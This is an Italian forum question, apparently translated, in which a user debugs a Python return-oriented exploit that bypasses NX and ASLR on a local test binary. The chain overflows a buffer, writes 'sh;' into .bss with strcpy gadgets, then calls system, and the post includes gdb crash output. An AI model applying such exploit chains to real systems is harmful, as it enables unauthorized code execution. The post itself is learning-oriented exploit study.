NX + bypass ASLR - problemi con l'indirizzo di ritorno di .bss

1

Ho un problema, mentre faccio il bypass NX + ASLR. Sto seguendo questo tutorial passo dopo passo .

Tutto sta andando bene, ho preparato il mio exploit, solo con un altro indirizzo e alcune piccole modifiche:

#!/usr/bin/python

from struct import pack
from os import system

junk = 'A'*1036 #junk to offset to stored ret
strcpy = pack("<L", 0x8048310)
ppr = pack("<L", 0x080484ee) #pop pop ret

p = junk
p += strcpy
p += ppr
p += pack("<L", 0x0804a024) #bss
p += pack("<L", 0x08048162) # 's'
p += strcpy
p += ppr
p += pack("<L", 0x0804a025) #bss+1
p += pack("<L", 0x080480d8) # 'h'
p += strcpy
p += ppr
p += pack("<L", 0x0804a026) #bss+2
p += pack("<L", 0x0804852f) # ';'
p += pack("<L", 0x08048320) #system@plt
p += "AAAA"
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")

system("/tmp/a.out \""+p+"\"")

Se lo eseguo, non succede nulla. Ma se modifico il passaggio con l'indirizzo di "system @ plt" con l'indirizzo di sistema da libc ottengo un errore di segmentazione.

p += pack("<L", 0xb7e4e104) #system from libc
p += "J" * 8 # sub esp,0xc
p += pack("<L", 0xdeadbeef) # exit
p += pack("<L", 0x0804a024) #bss (now contains "sh;<junk>")

system("/tmp/a.out \""+p+"\"")

./ exploit.py e .... "Errore di segmentazione". Ho attivato i dump di base per verificare cosa è successo e ho trovato questo:

Program received signal SIGSEGV, Segmentation fault. 0x0804a024 in completed ()

Questo indirizzo contiene:

(gdb) x/s 0x0804a024

0x804a024 : "sh;("

" sh; (" hm ...? Vorrei fare alcune domande.

  1. È la ragione " (", perché sto ricevendo un errore di segmentazione invece di shell?
  2. Come posso rimuoverlo / risolverlo? Ho provato cose diverse, ma senza risultati.
  3. Perché non utilizzare l'indirizzo di "system @ plt"? Più precisamente, non fa nulla. Tuttavia, nel tutorial di SpiderLabs tutto funziona?

So che ci sono più modi per aggirare ASLR + NX, ma sono curioso di sapere cosa sta andando storto.

    
posta core2dump 01.09.2015 - 20:49
fonte

0 risposte

Leggi altre domande sui tag